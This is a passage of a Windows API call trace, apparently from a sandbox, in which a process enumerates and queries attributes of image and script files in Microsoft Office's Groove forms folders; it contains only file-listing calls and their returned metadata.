	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8acda200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8acda200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewHeaderPreview.jpg", cAlternateFileName="VIEWHE~1.JPG")) returned 1
	[0052.591] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bfecf00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bfecf00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="viewSelectionChanged.js", cAlternateFileName="VIEWSE~1.JS")) returned 1
	[0052.592] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.592] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.592] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrow.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429188 | out: lpFileInformation=0x12429188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82756700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82756700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe8)) returned 1
	[0052.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\AddToViewArrowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\addtoviewarrowmask.bmp"), fInfoLevelId=0x0, lpFileInformation=0x124291d8 | out: lpFileInformation=0x124291d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x924)) returned 1
	[0052.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\BG_ADOBE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\bg_adobe.gif"), fInfoLevelId=0x0, lpFileInformation=0x12429228 | out: lpFileInformation=0x12429228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83a69400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5f61e9b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83a69400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x614e)) returned 1
	[0052.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\form.ico"), fInfoLevelId=0x0, lpFileInformation=0x12429278 | out: lpFileInformation=0x12429278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e)) returned 1
	[0052.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview"), fInfoLevelId=0x0, lpFileInformation=0x124292c8 | out: lpFileInformation=0x124292c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.595] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", lpFindFileData=0x127d3788 | out: lpFindFileData=0x127d3788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.597] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d37a8 | out: lpFindFileData=0x127d37a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.597] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d37a8 | out: lpFindFileData=0x127d37a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x368c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attachments.jpg", cAlternateFileName="ATTACH~1.JPG")) returned 1
	[0052.597] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d37a8 | out: lpFindFileData=0x127d37a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a68, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREAK.JPG", cAlternateFileName="")) returned 1
	[0052.597] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d37a8 | out: lpFindFileData=0x127d37a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.JPG", cAlternateFileName="")) returned 1
	[0052.597] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.598] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\attachments.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429ae8 | out: lpFileInformation=0x12429ae8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x368c)) returned 1
	[0052.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BREAK.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\break.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429b38 | out: lpFileInformation=0x12429b38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a68)) returned 1
	[0052.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BUTTON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\button.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429b88 | out: lpFileInformation=0x12429b88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51b6c470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3004)) returned 1
	[0052.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CHECKBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\checkbox.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429bd8 | out: lpFileInformation=0x12429bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x33d6)) returned 1
	[0052.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\COMBOBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\combobox.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429c28 | out: lpFileInformation=0x12429c28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x43a3)) returned 1
	[0052.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CONTACT.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\contact.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429c78 | out: lpFileInformation=0x12429c78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x36bd)) returned 1
	[0052.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CURRENCY.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\currency.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429cc8 | out: lpFileInformation=0x12429cc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3d22)) returned 1
	[0052.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\date.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429d18 | out: lpFileInformation=0x12429d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x42af)) returned 1
	[0052.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATETIME.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\datetime.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429d68 | out: lpFileInformation=0x12429d68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x606ee510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4139)) returned 1
	[0052.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\digitalink.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429db8 | out: lpFileInformation=0x12429db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e01)) returned 1
	[0052.600] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\EmbeddedView.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\embeddedview.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429e08 | out: lpFileInformation=0x12429e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51f96af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x20e8)) returned 1
	[0052.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\HEADING.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\heading.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429e58 | out: lpFileInformation=0x12429e58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5386f090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3e72)) returned 1
	[0052.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\IMAGE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\image.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429ea8 | out: lpFileInformation=0x12429ea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x139a)) returned 1
	[0052.601] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LINE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\line.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429ef8 | out: lpFileInformation=0x12429ef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x568309f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe65)) returned 1
	[0052.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\LISTBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\listbox.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429f48 | out: lpFileInformation=0x12429f48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b3f)) returned 1
	[0052.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\NUMERIC.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\numeric.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12429f98 | out: lpFileInformation=0x12429f98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x443a)) returned 1
	[0052.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\PASSWORD.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\password.jpg"), fInfoLevelId=0x0, lpFileInformation=0x127e4238 | out: lpFileInformation=0x127e4238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f5)) returned 1
	[0052.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\RADIO.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\radio.jpg"), fInfoLevelId=0x0, lpFileInformation=0x127e4288 | out: lpFileInformation=0x127e4288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x43c8)) returned 1
	[0052.602] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\SectionHeading.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\sectionheading.jpg"), fInfoLevelId=0x0, lpFileInformation=0x127e42d8 | out: lpFileInformation=0x127e42d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9342d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ad9)) returned 1
	[0052.603] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\statictext.jpg"), fInfoLevelId=0x0, lpFileInformation=0x127e4328 | out: lpFileInformation=0x127e4328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x37a7)) returned 1
	[0052.604] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTAREA.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textarea.jpg"), fInfoLevelId=0x0, lpFileInformation=0x127e4378 | out: lpFileInformation=0x127e4378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3983)) returned 1
	[0052.604] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textbox.jpg"), fInfoLevelId=0x0, lpFileInformation=0x127e43c8 | out: lpFileInformation=0x127e43c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x873a1b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x873a1b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a97)) returned 1
	[0052.604] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTVIEW.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textview.jpg"), fInfoLevelId=0x0, lpFileInformation=0x127e4418 | out: lpFileInformation=0x127e4418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x42fa)) returned 1
	[0052.604] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\UnformattedNumeric.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\unformattednumeric.jpg"), fInfoLevelId=0x0, lpFileInformation=0x127e4468 | out: lpFileInformation=0x127e4468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x886b4800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e3d2090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x886b4800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x4127)) returned 1
